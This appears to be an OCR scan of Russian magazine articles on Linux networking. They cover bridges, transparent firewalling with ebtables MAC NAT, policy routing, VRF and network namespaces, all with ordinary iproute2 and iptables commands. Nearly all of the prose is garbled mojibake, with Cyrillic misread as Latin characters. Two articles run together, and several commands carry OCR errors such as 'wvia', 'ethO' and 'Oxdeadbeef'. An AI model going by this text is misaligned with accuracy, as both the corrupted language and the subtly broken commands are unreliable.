VBbI, paboTaeT He CO BCEMH MOJEISAMH KapT — IIOMHH, YTO OBIBa€T M JIOXHOOTPHLA-
TENbHBIN pe3yIbTarT.

«CKpbITasi» NpOBOAHAA CeTb

ARP — ¢ynnamenTanbHbii mpoTtokon cered Ethernet, 6€3 KOTOpOro XocThl HE CMOTYT
aBTOMaTHYECKH HAWTH JpyT Apyra ¥ YCTaHOBUTH cooTBeTrcTBUE IP- 1 MAC-agpecos. Ho
YTO, €CIHM Thl CHELMANIbHO XOYElb CHENaTh TaK, YTOObl CTOPOHHHHA XOCT HE CMOI MOA-
KITIOYUTBCS K TBOEH ceTH?

Camoe npaBuibHOE pelleHHe 3Toi 3amaud — npoTtokon 8§02.1x (https://1.ieee802.0rg/
security/802-1x/), xoTopslii obecrneyHBaeT HACTOAILYIO AyTEHTH(HKALHUIO KIHEHTOB.
Jlpyroe, Toxxe BIOJHE MPAaBUIBHOE PELIEHHE — HACTPOMTH MOJMTHKY JOCTyNa Ha KOM-
MyTaTope 1o 6enomy cnucky MAC-aapecos.

AGCYpAHBIM H JOCTATOYHO HEOXKHAAHHBIM [T YCIIOBHOTO MPOTHBHHKA PEIIEHHEM OBLIO
6b1 oTkimounTh ARP. Kak HH cTpaHHO, B Linux 3T0 BO3MOXHO: K MPUMEPY, OTKIIOUHUTD
ero a1 unrepgeiica eth0 MoxHO KOMaHIOH sudo ip link set eth0O arp off.

Kak »xe xoctsl HaayT apyr apyra 6e3 ARP? B Linux no6aButs 3anucu B Tabnuuy ARP
MOXXHO BPYYHYHO: ip neighbor add 10.0.0.1 lladdr aa:bb:cc:dd:ee:ff dev ethO.

NMporpammHbie MoCTbI B Linux

B tepmunonorun Ethernet «xoMmyTatop» (switch) u «MocT» (bridge) — 3T0 CHHOHUMBL.
Tepmun switch mpuaymany, 4ToObl OTIHYATE MHOTOMOPTOBBIE KOMMYTATOPBI OT MEPBBIX
JIByXITOPTOBBIX MOCTOB. IIporpammusle peanuzauuu kommyTtatopa Ethermnet mo Tpaauiuu
Ha3BIBAIOT MOCTAMH HE3aBHCHMO OT YHUCJIa IOPTOB.

BoTt u B Linux mporpaMMHBIH KOMMYTaTOp Ha3bIBaeTCs MOCTOM. [IpOH3BOINTENBHOCTE
TaKHX KOMMYTaTOPOB HEBBICOKa — HHU O KaKHMX AeCATH rurabutax peus He uaer. Kpome
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TOro, BCTPOEHHAss pyHKLMOHAIBHOCTh AApa Linux ayg 3TOH Lean J0CTaTOYHO OrpaHH-
yeHa [0  CpaBHEHHIO C  HOBbIMM  mnpoekramMu  Bpoae  Open vSwitch
(https://www.openvswitch.org/). Tem He MeHee B pslie Cly4aeB OHa MOXKET OKa3aThCs
MOJIE3HOM.

OO6beanHATh ABa GU3NYECKHX CETEBBIX HHTEp(dEHca B «TyNOi» MOCT HMEET CMBICIL TOJIb-
KO B KayeCTBE BBIHY)KIECHHOHN Mepbl, €M Ha 00beKkTe HeT CBOOOJHBIX MOPTOB anmnapar-
HOro KOMMYTAaTOpa, HO €CTh YCTPOHCTBO ¢ Linux ¥ HEMCHoyib3yeMbIMH CETEBBIMHU KapTa-
MH. OCMBICJIEHHO IPUMEHATD 3Ty HUYY CTOUT B IPYTUX HalpaBJICHHUSX.

Bo-nepBeix, cereBoit uHTepdenc He 00sA3aH ObITh QU3UUECKUM — 3TO MOXET OBITH U
TyHHeNb. HexoTopele mpuioxeHus TpeOyrOT 0OILEro MHpOKOBELIATENIEHOIO CErMEHTa.
Ecnu Tebe Hy>xHO obecnieynTh paboTy TaKMX MPUIOKEHHUH B yAaJCHHOH CETH Yepe3 MH-
TEPHET, Thl MOXKEUIb COEAUHUTH CBOU CETH TYHHEJIEM, KOTOPbIH cnocoOeH HHKAMCYJIHpPO-
BaTh kaapbl Ethemet. O HacTpoiike Takux TyHHened B Linux s yxe nucan B ctathe «He-
u3BeCTHble TyHHenH Linux. OcBaMBaeM HOBBIE CIIOCOOBI CTPOHUTH BHUPTYajbHbIE CETH
(https://xakep.ru/2019/05/13/linux-tunnels/)»: 3to GRE, L2TPv3 u VXLAN (a Taike
OpenVPN B pexxume TAP u WireGuard).

BTopoii BaxkHbIH MOMEHT — NPOrPaMMHBIH MOCT He 00s13aH ObITh TynbIM. B oTinuue or

OO0JILIUMHCTBA anmnapaTHbIX KOMMYTAaTOPOB, Linux MOXET BHICTYMNAaTh B POJIA HEBUIUMOTO
Ha CETEBOM YpPOBHE Npo3payHoro ¢aipeoia.

Ho nnsa nayana BCIIOMHHM, KaK O€JIaK0TCA MOCTBI.

Bo3soaum mocTbl

BepHee, He BCIIOMHHMM, a HayyuMcs 3TO AejlaThb C moMolubio iproute2. Knaccuyeckas
yTunuTa bretl yxxe naBHo o0bsiBIeHa ycrapesuei, BMecte ¢ ifconfig 1 npounmu komaH-
JaMu 13 net-tools, 1 AUCTpUOyTHBBI Linux HaYMHAIOT UX yJaNATh, TAK YTO JIy4llIe Cpasy
JEeHCTBOBATh NO-HOBOMY.

Jns npumepa ooveauaum uHTepdeiice ethO u ethl B moct br0.

$ sudo ip link add name br0O type bridge
$ sudo ip link set dev ethO master br0
$ sudo ip link set dev ethl master br0

Ynanute uHTEpdEic U3 MocTa MOXHO ObUIO OB KOMaHOOW ip link set dev eth0
nomaster.

Yro B iproute2 xopouio, Tak 3T0 yHHU}HKalMs pasHbix komaHa. Koraa-To craHaapTHbIM
cnocoboM mpocMoTperh MHpopMauuio o6 HHTepdeilicax MocTa Obula KOMaHOa bretl
show.

$ sudo brctl show br0

bridge name bridge id STP enabled interfaces
br0 8000.0008a20a52cf no ethO0
ethl

B iproute2 Ha cMeHy MHOXECTBY O0COOBIX ClIy4aeB MpHILIa 00LIas KOHUENLHs BEyLEero
untepdeiica (master) u BeqoMsix (slave). [IpocMoTpeTs Bce BenoMbie HHTEPGEHCH MOX-
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HO KOMaHJOH ip link show master <interface> JTa koMaHaa Oyner paborarb M Ui
MocTta, u 1 Tpaika LACP, u 1 Bcero mpodero, Yto noapa3yMeBaeT OTHOILIEHHS Be-
IyuwHii — BegoMblid. EQMHCTBEHHBIH HEZOCTaTOK — (OpMAaTr BBIBOAA HE 3aTOYEH IOJ
KOHKPETHBIH THII HHTEpderica.

$ ip --brief link show master br0

eth0 UP 9a:a3:32:cl:d6:8b <BROADCAST,MULTICAST,UP,LOWER UP>

eth2 UP 00:08:a2:0a:52:cf <BROADCAST,MULTICAST,UP,LOWER UP>

Oenaem npo3payHbin hanpson

[lpexxne Bcero  HyxHO  yOemuTbcs, 4YTO TBOE sSApO0 He cobpaHoO ¢
CONFIG_BRIDGE NETFILTER=n. 3aT€M — IpPOBEPHTb, YTO YCTAHOBJIEHbl B €OHHHLY CJe-
AYKOUWHE OMNUHUHU syscﬂ: net.bridge.bridge-nf-call-iptables, net.bridge.bridge-nf-
call-ip6tables, net.bridge.bridge-nf-call-arptables.

A Tenepp xopolias HOBOCTb: 00JIbIlIe HUYEro 0coOeHHOro nenath He norpebyercs. Eciu
B SJIpe €CTh HY)XHBIH MOIyNb M ero pabora He 3a6i0kMpoBaHa OMUHUAMH sysctl, To Bce
npaBuia xtables aBTOMaTHYECKH NPUMEHSIOTCS HE TOJIBKO K MapLIPYTH3HPYEMOMY, HO H
K KOMMyTHpyemomy Tpaduky. Ins mpoBepKH MOXXHO 3a0JO0KHpPOBATh IMOJIb30BATENAM
MocTa ICMP: sudo iptables -I FORWARD -i br0 -p icmp -j DROP.

Noamensiem MAC npoxoasiwiemy Tpaduky

[Taker ebtables, koTopslit mpegocTaBiseT $paipBoI KAHAIBHOTO YPOBHA, CaM 110 cebe yxe
3Kk30THKa. C €ro MoMoIUb0 MOXXHO pEalH30BaTh NOJUTHKY AOCTYNa KIHEHTOB K KOMMY-
TaToOpy, €CIH Thl BAPYT PELIHMJ CAETaTh M3 MAIUMHBI ¢ Linux NOJTHOLEHHBIH yrpasise-
MBIl KOMMYTaTOp, HECMOTPS Ha BCIO HENPAKTHUYHOCTb 3TOro. B ocTanpHBIX Clyyasx
¢unpTpanus TpadHka Ha CETEBOM YPOBHE PELIAET BCE MPAaKTHYECKHE 3a1aUH.

Ho oxHaxxapl MHE moTpeboBanachk COBCEM Yk 3k30THYECKass PYHKUHSA U O€3 TOro IK30TH-
yeckoro nakera. Kak HH cTpaHHO, ebtables momnepxuBaer NAT kaHaJlbHOTO YpOBHS —
TpaHcasauuo MAC-aapecoB HCTOYHHKA U Ha3HAYEHHUSL.

Curyauus Oblna cleayrollas: MOH KOJIJIEra XOTesl OTIPaBUTh OT3€PKAIMPOBAHHBIN Tpa-
¢HK c mopTa KOMMYTaTopa B JIOKJIbHBIH MPOLECC M1 MPOBEAEHHS HEKOTOPBIX TECTOB.
[Tockonbky Tpaduk mpuxonun ¢ uyyxuM MAC, sapo HUKOTJa He cTano Obl ero BOCIpH-
HUMaTb Kak cBOH. TyT U nmpuroaunace, kasanoch 6sl, abcypHas BO3MOXXHOCTb.

$ sudo ebtables -t nat -I PREROUTING -i ethO -j dnat --to-destination
aa:bb:cc:dd:ee:ff --dnat-target ACCEPT

[Tociie 3TOro ocraBagoch TOJbLKO 3aMEeHHUTD [P TokanbHBIM ¢ moMoLubio 00b1YHOro NAT.

3aKknoyeHue

Bo3moxHocTH Linux OTKpBIBalOT OONBLIOH NPOCTOP AJIS CaMbIX M30LIPEHHBIX KOHQHUTY-
pauuii Ha Bcex ypoBHsax moaenu OSI. Eciu BHUMaTenbHO YHTaTh JOKYMEHTALHIO, TaM,
KaK IPaBHJIO, MOXKHO HAaHTH YTO-TO Ha JIF0OOMH, Aaxke caMblil HEOOBIYHBIN CITy4YaH.
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MUckyccTBO nsonauuu.
N3yyaem mexaHN3Mbl N30nAUUU
Tpaduka B Linux

Aanuun Bamypun

Hzonsauus tpaduka pasHbix ceredi B npenenax ogHoi OC pacnpocTpaHeHa MOBCEMECTHO.
Jna KOHEYHbIX MONB30BaTENEeH OHa HE3aMeTHa — B 3TOM ee Lenb. Ho 3Haewp JM Thl,
KaKHe CPECTBa [UIS Pa3HBIX YPOBHEH M3OJALHMM MPEIOCTaBISET AApo Linux M Kak UMH
BOCIIOJIB30BAaThCS CAMOMY, HE PacCUUTHIBas Ha HHTETPUPOBAHHBIE CPEICTBA YNpPaBICHHUS
Bpoae Docker? [laBaii pa3douparscs.

H3onauuio yacTed ceTeBOro cTeka MOXHO HCIONB30BaTh Mo-pa3HoMy. [IpoBaiineps! mpe-
JOCTaBJIAIOT KJIMEHTaM BUPTYaIbHbIE BBIICICHHbIE JTHHUH M BBIHY)XAEHbI Kak-TO 00X0-
JIUTh KOHQINUKTBI apEecoB MONB30BATENBCKHUX CeTel, 4ToObI arperupoBaTh UX Tpadpuk Ha
OIHOM YCTpOHCTBE. AJIMHHBI H Pa3pabOTUHKH M30JHPYIOT MPHIOXKEHHS B KOHTEHHepax,
4ToOBI HE 3amyckaTh OTAENbHYIO Konuio Beeit OC B BUPTyalbHOH MalllMHE, H KOHTEHHED
B3aHMOJEHCTBYET C MUPOM 4epe3 BUPTYalbHBIN HHTEpdeEiic, XOTA AIpO Y BCEX KOHTEH-
HepoB obuiee.

B aToit rnaBe npeanonaraetcs, 4To y Teba ceexee sapo — 4.8 unu HoBsee.

MHoXecTBeHHble Tabnuubl MapLpyTU3aumm

3OTa BO3MOXHOCTh HM3BECTHA KaXIOMY, KTO Korga-mubo aenan 6amaHCHPOBKY MeEXIy
IByMs mpoBaiinepaMu. Kpome Tabnuipl MappyTH3alMK 0 YMONYaHHUIO, B Linux Mox-
HO CO31aTh J0 255 HE3aBUCHMBIX IPYT OT Apyra Tabiuil.

Tabnuua no yMoayaHHIO Ha3bIBaeTCA main, M €i mpucBoeH HoMep 254. FIMeHHO B Hee
NOMNaJaloT MapuUIpPyThl, €CIH J00aBUTh UX C MOMOLIBIO ip route add HIH route 6e3 no-
NOJIHUTENBHBIX NapaMeTpoB. Ewe napa tabmuu 3ape3epBHpoBaHa, a C OCTAIbHBIMH MOX-
HO JIeNIaTh 4YTO XOYelllb.

Kakas Tabnuua mis kakoro tpaduka 6yner HCoab30BaThCS, ONPENENAETCS NPaBHIaMH,
ThI MOXKEILIb CO3JaTh MX C MOMOLIBIO ip rule add.
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BriBoga ip rule show nokaxket npaBuiia o yMOIT4aHHUIO:
$ ip rule show

0: from all lookup local

32766: from all lookup main

32767: from all lookup default

CuUMBOJIBHBIE HMEHa TaOaMIl MOXHO HaiTH (M mNepeHacTpouTh) B  ¢aiine
/etc/iproute2/rt tables. Y mpaBuia npo Tabauuy main (254) Takod HU3KHIA PHOPHTET,
4YTOOB! MOJIB30BATENBCKHE TAOMHIBI C MEHBIIMUMH HOMEpPaMH oOpalaThIBaIUChH 1O Hee.
Kak BuIuM, HUKaKoro ocoboro CTatryca y main Ha CaMOM JIENIE HET, 3TO NIPABHUIIO MOXKHO
Ob110 OBI yaNHUTh HIIH NIEPEONPENETHTS.

Tabnuua local, kotopas ¢urypupyer B npasuie 0, CONEPKUT ClIELHATBHBIE MApIIPYTHI
JUIs JIOKaJbHBIX M IIMPOKOBELIATENIBHBIX aapecoB. Hampumep, npUCBOEHHE aapeca
192.0.2.1/24 uHTepdeicy eth0 CO3AaET BOT TaKKE MapLIPYTH! B 3TOH TabnuLe:
broadcast 192.0.2.0 dev ethO proto kernel scope link src 192.0.2.1

local 192.0.2.1 dev ethO proto kernel scope host src 192.0.2.1

broadcast 192.0.2.255 dev ethO proto kernel scope link src 192.0.2.1

Snpo ympasnser 3To# TabnuuelR caMoCTOATENbHO. 3HAaTh O HEH I0Je3HO, HO Tporarth B
HEH HUYEro He HYXKHO.

Co3naem cBou Tabnuubl

HoBele Tabnuibl cO30al0TCS aBTOMaTHYECKH, €CIIM J00aBUTh B HUX MapuupyT. YKa3aTb
TabIHIly MOXKHO OMUHEH table:

$ sudo ip route add 203.0.113.0/24 via 192.0.2.10 table 200

Uro6Bl MPOCMOTPETH MapLIPYTHI B HOBOH Tabnuie, HYKHO A00aBUTH Ty K€ OMLHIO K ip
route show.

$ ip route show table 200
203.0.113.0/24 via 192.0.2.1 dev eth0

Kak ofbidHO, B iproute2 Bce KOoMaHObl MOXHO CoOKpawatb BMAoTb A0 ip ro a
203.0.113.0/24 via 192.0.2.10 t 200 u ip ro sh t 200.

Camu o cebe TabnuLbl HE NPUHOCAT HUKAKOH MOJIb3bl — HY’KHBI IIpaBHIIa, KOTOPHIE Ha-
IIPaBAT B HUX TpadHK.

Co3naem npaBuna

[IpaBuna co3maroTcs KOMaHAOH ip rule add. CaMblif paclipoCTpaHEHHBIH BapHaHT NpH-
MEHEHHMs — source-based routing, K IPUMEPY OTIIpaBKa TpadHkKa pa3sHbIX ceTeH yepes
pa3HbIX IpOBaiIEPOB.

[peanonoxuM, 4to y Hac ecTh JiokanbHas cetb 10.0.0.0/24 1 MBI XOTHM OTIPaBHThH €€
TpaduK B HHTepHeT uepe3 Mapupytu3artop 192.0.2.10, a He OCHOBHOH MapuIpyT IO
YMOJTYaHHIO.
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3TO MOXXHO clieJlaTh KOMaHIaMH

$ sudo ip route add default wvia 192.0.2.10 table 200
$ sudo ip rule add from 10.0.0.0/24 table 200

3a petanbHbIMU WHCTPYKUMSMU No paboTe ¢ HeckonbkvuMu NpoBaiaepamv MOxHO obpa-
TMTbCA K knaccudeckum lartc.org HOWTO  (https://www.lartc.org/howto/) wnu
policyrouting.org (http://policyrouting.org/PolicyRoutingBook/ONLINE/TOC.html), a 3a
CnpaBKkOW MO  CWUHTAkcucy — K man ip-rule’ wim  MoeMy  pykoBOAOCTBY
(https://baturin.org/docsl/iproute2/#Policy-based%20routing).

Knaccudukaumsa nakeros no metkam neffilter

®akT nepBblii: BOBMOXHOCTH Kiaaccudukaunu Tpaduka MOKHO Cepbe3HO pacLIMPHUTH C
NOMOIIbIO ONMUHMH fwmark. CaMa KOMaH/Aa ip rule add MOAJEPXKHUBAET HE TaK MHOTO CO0-
CTBEHHO CETEBBIX omuui: from/to (ampec ucTouHHka W Ha3zHayeHuH), iif/oif (BxomHOH M
BBIXOIHOH MHTepdeiic), ipproto (mpotokoin), sport/dport (mOpPT MCTOYHHMKA W Ha3Haue-
HuA), tos (3HayeHue Type of Service).

K cuactsio, netfilter ymeeT 100aBasATh K aKeTaM METKH, MOXXHO CChLIAThCA Ha HUX B OIl-
uuu fwmark U CTpoUTh NpaBuIa Iaxe A CaMbIX IK30THYECKHUX CHUTYalUH.

I'maBHOE — MOMHUTH NOPAIOK 00pabOTKH MAKETOB B siApE U 100aBIATH NpaBUia s yC-
TAaHOBKHM METOK B LIEMOYKY, KOTOpas oOpabaTbiBaeTcs 10 MapLIpYTH3aLUHH MaKETOB: Ha-
npumep, mangle OUTPUT nans nokansHoro tpaduka u mangle FORWARD nns tpaduka
U3 IPYTHUX CETEH.

Mopsinok 06paboTku NakeToB OTNMYHO NOKa3aH Ha guarpamme
(https://stuffphilwrites.com/2014/09/iptables-processing-flowchart/).

B kadecTBe abCypIHOro, HO NOKa3aTeJbHOTO NMpHUMepa Mbl oTiipaBuM ICMP-nakeTs! pas-
MepoM Oosnblie cta 6aiT yepe3 nuto3 192.0.2.20. [ npoCTOThI TECTUPOBAHHS ClIENIaeM,
4TOOBI MPABUJIO MPHUMEHSIIOCH K JIOKAJTbHBIM MaKeTaM, I03TOMY METKY MbI CTaBHUM B lie-
nouke mangle OUTPUT:

$ sudo iptables -t mangle -I OUTPUT -m length --length 100: -p icmp -j MARK --
set-mark Oxdeadbeef

$ sudo ip route add default via 192.0.2.20 table 201
$ sudo ip rule add fwmark Oxdeadbeef table 201

UroOBl NpOTECTHPOBATh B PEANbHOCTH, 3aMEHH 192.0.2.10 Ha KaKOH-HHOYIb XOCT U3
TBOEH ceTH — sapo Linux He noGaBiser MaplIpyThl Yepe3 3aBEJOMO HEIOCTHIKHUMBIH
LTIO3.

Knaccucdukaumusa no ngeHtudunkartopam nonb3oBaTenemn

dakr BTOpOﬁ: IpaBuJia MOXXHO NPHUMEHATH K OTACJIbHBIM I10JIb30BATEIISIM.

Bo3morxHbIX npuMeHeHui aBa. [leppoe — umutupoBath VRF uiu netns, 3anycTuB npo-
LecC OT HMEHH IOJIb30BATENS, K KOTOPOMY NPUMEHSETCs paBWIo. Tak Jenatb He CTOMT,
B HOBBIX fJJpax €CTh Ky/a JIy4lllHe pelIeHHs.
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OpnHako 3Ta BO3MOXKHOCTh MOXET [IOMOYb B OTJIaJKe npaBui. [IpoBeputs, kak paboratoT
MapUIpYThl, MOKET OBITh HE TaK IIPOCTO, OCOOEHHO €CJIM HET OCTYIa KO BCEM XOCTaM.

B 3tom cinyyae MOXHO IPUMEHHUTH NPaBUJIO K M0Nb30BATENI0 U TECTUPOBATh OT €ro UMe-
HH. DTUM ke criocoO0M MOXHO 3aBEpPHYTh Bech TpadHk noias3oBarens B VPN-TyHHenb,
He Tporas cucteMHbId Tpaduk. [IpeanonoxuM, y Hac noguatr OpenVPN c unrepdeiicom
tun0 U ecTh OJB30BATENb test c id=1000. OTrpaBUM Bech ero Tpaduk uepe3 VPN:

$ sudo ip route add default dev tun0 table 205

$ sudo ip rule add uidrange 1000-1000 table 205

Kak BUAMM, BO3MOXHBIE IPUMEHEHHS] MHOXXECTBEHHBIX TaOJIMI U MPaBUJI BECbMa LIKPO-
kd. OJHAKO OHU He MO3BOJIAIOT pa3peliuTh KOHGIUKT aIpECOB MEXIY CErMEHTaMH CEeTH
WIM MOJIHOCTBIO M30JMpOBaTh Tpaduk mpouecca. J[nsg 3THX uenaed HyKHO HNPUMEHATh
VRF Ui network namespaces. Haunem ¢ VRF.

VRF

VRF (Virtual Routing and Forwarding) HauGosiee nomnynspeH cpeay IpoBaiaepoB, KOTO-
PbIM HY>KHO MOJKITIOYUTH HE3aBUCHMBIX KITMEHTOB K OJHOMY U3HYECKOMY YCTPOHCTBY.

C ero noMoIb0 MOXKHO aCCOLMHPOBATh CeTeBble UHTEP(ENHCHI ¢ OTAEIbHBIMU TabNHLIa-
MU MapiupyTtu3auui. Eciu gymaenis, 4to Toro xe 3¢dexra MOKHO JOCTUTHYTH ONLHen
iif/oif B ip rule add, TO CIelLly COOOUIUTH TeOe, YTO 3TO HE COBCEM TaK.

C «npocTeIMu» TabIMLIAMH U IpPaBUIAMH MBI MOXXEM J00aBHUTH CBOM MapLIPYTHI B OT-
JeJIbHYI0 Tabauiy, HO cily)xeOHble MapiupyThl sapa — local u broadcast, koTopsle HYX-
HBI JUIs IpaBUIBHON paboThl ¢ agpecamu HHTepdeica, ocTaloTcs B TabaHLe 110 yMorya-
HHIO. JTO U JeflaeT HEBO3MOXHBIM MOJKIIIOYEHHE KIIHEHTOB C OJMHAKOBBIMH HIIH Iepe-
CEKAIOIUMHCS CETSAMH K OTHOMY MapuUIpyTH3aToOpy.

Kaxaplii pa3, korga Mel IpUCBanBaeM UHTepdeiicy aapec, ApO CO3JaeT yKe OMUCAHHBIE
Bolle local- u broadcast-MapuipyThl B TabHLE local H MapLIPYT K CETH B TaONHLE main.
Hanpumep, npucBoenue agpeca 192.0.2.100/24 unrepdeiicy eth0o co3gaet MapuipyT Buaa
192.0.2.0/24 dev ethl proto kernel scope link src 192.0.2.100

Takue MapupyThl IPHHATO Ha3biBaTh connected routes. Eciu Ob1 MX He ObLIO, MBI ObI HE
CMOTJIH CO3JaTh MapLIPYT BpOJE ip route add default via 192.0.2.1 — H3-3a OTCYT-
CTBHS IBHOT'O MapIIpyTa K 192.0.2.0/24 agpec 192.0.2.1 c4UTANCSA Obl HEIOCTHIKUMBIM.

VRF no3Bonser paspelints KOHQIUKTH! apecoB, NEpeHecs B OTAENIbHYI Tabnuiuy Bce
aCCOLMMPOBAHHBIE C CETEBBIM HHTEP(PEHCOM MapILPyThl — KaK I10/1b30BaTENbCKHE, TAK U
ciyxeOHble.

Co3pnaem VRF

Jns npumepa cozgaaum VRF ¢ HazBaHHMEM customerl M NPHUBSDKEM €ro k tabnuue map-
mpyrusanuu 50:

$ sudo ip link add customerl type vrf table 50

$ sudo ip link set dev customerl up
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OH BBINIAOUT KaK BHpTyanbHas ceTeBas KapTa. Bee cereBble HHTEpdEHCH AaAp0 co3naer
B BBIKIIOYEHHOM COCTOSIHHH, N03TOMY Oe3 BTOpOH KOMaHAbl He OOOHTHCH: mepen Hc-
TH0JIb30BAHHUEM €TI0 HY>KHO BKJIIOUHTb.

[Ipocmotpers VRF MOXHO KOMaHIOM ip vrf show:

$ ip vrf show
Name Table

customerl 50

NMpuceanBaem VRF ceteBble uHTepdencol

B VRF moxHo no6aButh mo6bie HHTEp(eHchl, kak (HU3HYECKHe, TaK U BUPTYyalbHbIE
(x mpumepy, TyHHenH). 11 IeMOHCTpaLMH MBI cO34aauM HHTepdelic Tuna dummy (aHa-
7nor loopback) 1 npucBouM emy azgpec 10.133.0.1/24:

$ sudo ip link add dev duml type dummy

$ sudo ip link set duml up

$ sudo ip address add 10.133.0.1/24 dev duml

Kaxnweiit pa3, kornga Mel IpHCBaBaeM HHTEpQeicy aapec, B TabIHLIE main MOABIAETCS
MapupyT K €0 CETH:

$ ip route show 10.133.0.1/24

10.133.0.0/24 dev duml proto kernel scope link src 10.133.0.1

Teneps npussbkeM Ham HHTepdeic k VRF customerl:

$ sudo ip link set duml master

Kapruna B ip vrf show HE U3MEHHTCS — K COXKaJIEHHIO, 3Ta KOMaHJa HE MOKAa3bIBaeT
npuHaUIeXXHOCTh HHTepdericoB VRF. Bce untepdelics onpeneneHHoro VRF MoxHO
YBHIETH B BBIBOJEC ip link show vrf S$VRE:

$ ip link show vrf customerl

6: duml: <BROADCAST,NOARP,UP,LOWER_UP> mtu 1500 gdisc noqueue master customerl
state UNKNOWN mode DEFAULT group default glen 1000

link/ether B8e:6f:b6:9%9a:df:e0 brd ff:ff:ff:ff:ff:ff

Ecnu BBIMONHUTE ip ro sh 10.133.0.0/24, MBI YBHAUM, YTO MapuIpyT K 3TOH CETH HC-
ye3. S1Ipo nepeHeco ero U Bce OCTalbHbIE CIyXeOHbIE MapIIPyThI AJIs 3TOH CETH B Tab-
muny 50:

$ ip ro sh t 50

broadcast 10.133.0.0 dev duml proto kernel scope link src 10.133.0.1
10.133.0.0/24 dev duml proto kernel scope link src 10.133.0.1

local 10.133.0.1 dev duml proto kernel scope host src 10.133.0.1

broadcast 10.133.0.255 dev duml proto kernel scope link src 10.133.0.1

Ecnu ynanute unrepdeiic u3 VRF koMaHa0H sudo ip link set duml nomaster, Map-
LIPYTHI BEpPHYTCS 00paTHO.
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BbinonHsem komaHAabl BHYTpu VRF

VRF u3onupyeTr HMEHHO CETH, a He NMpHJIoXKeHHs. OJUH U TOT K€ MPOLECC MOXET MO~
KJIIOYHTHCA K HeckoJbkHUM pa3HbIM VRF. Paboty ¢ VRF ¢ Touku 3peHus paspabotunka
NPUJIOXKEHHH MBI OCTaBUM 32 KaJIpOM.

3Hath npo cywectsoBaHHe VRF HyxXHO oueHp y3KOMy Kiaccy Mporpamm: B OCHOBHOM
JIEMOHaM MPOTOKOJIOB MaplLUpyTH3alMH U pa3nuuHbIM peanusauusam VPN. JIobyro npo-
rpaMMy OY€Hb MPOCTO 3aMyCTHTh BHYTpH Joboro VRF ¢ moMousro KoMaHasl ip vrf
exec SVRF $SCOMMAND.

K npumepy, BeInonHuUM ping k aapecy camoro duml. U3 VRF no yMonuanuio oH He cpa-
00TaeTr, NOCKOJIbKY €ro MapLIpyThl ObLUIH yJaJIEHbl H3 OCHOBHOM TaOJIMILIbI:

$ ping 10.133.0.1

PING 10.133.0.1 (10.133.0.1) 56(84) bytes of data.

Cle

---10.133.0.1 ping statistics ---

4 packets transmitted, 0 received, 100% packet loss, time 58ms

Opanako BHYyTpH VRF customerl Bce paboTaer:

$ sudo ip vrf exec customerl ping 10.133.0.1
PING 10.133.0.1 (10.133.0.1) 56(84) bytes of data.
64 bytes from 10.133.0.1: icmp_seg=1 ttl=64 time=0.042 ms

TakuM cnoco6oM MOXHO BBINONHHTH J100YI0 KOMaHAy (BKJIIOYas APYTryro KOMaHAOYy ip).
JTO CyLIECTBEHHO YNpOLLAET OTJIaAKy H TecTHpoBaHHe HacTpoek VRF no cpaBHeHHIO €
NPOCThIMH TabIHLAMH U NPaBHIAMH.

CeTeBble NpoOCTpaHCTBA UMEH
(network namespaces)

VRF obecneunBaer H30I51HI0 TOJBKO Ha CETEBOM ypoBHE. KaHanbHbBIH ypOBEHb OCTaeT-
cs o6wuM ans Bcex VRF, u, k npumepy, sudo ip vrf exec customerl ip link list
NoKaXeT HaM Bce MHTepdeichl: U npuHamnexawuid HaweMy VRF duml, U Bce octanb-
Hble. ITO MOXET ObITh KaK MPEUMYILECTBOM, TAK H HEIOCTATKOM.

Ecau VRF HenocTatouHo, MOXKHO MpHBJIEYb CETEBbIE IPOCTPAHCTBA MMEH (netns) — ca-
MbI# r1y6oKHi ypoBeHb H30asaLMH. IMeHHO ero ucnone3yrot koHTerHHepb! Bpoae LXC.

OHH CO3JaI0T MOJIHYIO KOIHIO CETEBOTO CTEKA, U MPOLIECCHl B OHOM MPOCTPAHCTBE UMEH
HE MOTYT YBHJETh HHYEro U3 APYrux — Aaxe Gpu3HuecKHe ceTeBble HHTepQenChI.

Co3naeM NpocTpaHCTBO UMEH

Co3nate HOBOE INPpOCTPAHCTBO HMEH MOXHO KOMaHJOH ip netns add, a INpOCMOTPETH
CITMCOK CYILUECTBYIOIUMX — KOMAaHIOH ip netns show.

$ sudo ip netns add mynamespace

$ ip netns show
mynamespace
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Il mpOCTOTHI TECTHPOBaHHUS B MpeleNiaX OTAENbHO B3ATOH MaIIMHBEI CO3JaJUM eLlle
oauH dummy-uHTepdeiic dum2 ¥ MPUCBOMM €ro HallleMy MPOCTPaHCTBY UMEH:

$ sudo ip link add dum2 type dummy
$ sudo ip link set dum2 up

$ sudo ip link set dum2 netns mynamespace

Ecnu B cnyyae ¢ VRF Mbl MO yBHAETh Halll duml B OOBIYHOM BBIBOAE ip link list,
TO C MPOCTPAaHCTBAMU MMEH BCE MHAYE: dum? UCUE3HET OTTYJAa U YBHUAETh €r0 MOXHO 0Yy-
JET TOJIbKO U3HYTPH mynamespace. JlaBaid yoeaumcs.

BbinonHsieM KOMaHAbI

BrINONHUTL KOMaHQY BHYTPHM MPOCTPAHCTBA MMEH MOXHO C MOMOILIBIO ip netns exec
SNAMESPACE $COMMAND. Ecnu BBIMONHMTH TakUM cnoco6oM ip 1link list BHYTpH
mynamspace, Mbl YBHIUM dum2 U KOMHIO HHTepderica 1o (loopback) — u HHYero OoJbie.
$ sudo ip netns exec mynamespace ip link list

1: lo: <LOOPBACK> mtu 65536 gdisc noop state DOWN mode DEFAULT group default
glen 1000

link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00

7: dum2: <BROADCAST,NOARP> mtu 1500 gdisc noop state DOWN mode DEFAULT group
default glen 1000

link/ether ca:00:09:06:49:70 brd ff:ff:ff:ff:ff:ff

B cBexux Bepcusx iproute2 (B Moeit 5.0.0 TouHO) ecTb 60s1ee KOPOTKHH cOcod — ip -n
SNAMESPACE:

$ sudo ip -n mynamespace link show dum2

7: dum2: <BROADCAST,NOARP> mtu 1500 gdisc noop state DOWN mode DEFAULT group
default glen 1000

link/ether ca:00:09:06:49:70 brd ff:ff:ff:ff:ff:ff

HyxHo oTMeTHTB, UTO NpH nepeaaye HHTepderica B Apyroe NpocTpaHCTBO UMEH OH Bce-
raa OyaeT BBIKIIIOYEH U ¢ Hero OyayT yaajeHbl BCe ajpeca, M03TOMY B CKPHITaX HWHH-
UHaIM3alUM ¥ MoJ00HOM MOJHUMATh HHTepdeNc U HaCTpauBaTh €ro HYXHO yXKe Mociie
ip link set ... netns

B3aMMOA9I7ICTBy9M C Apyrmmu
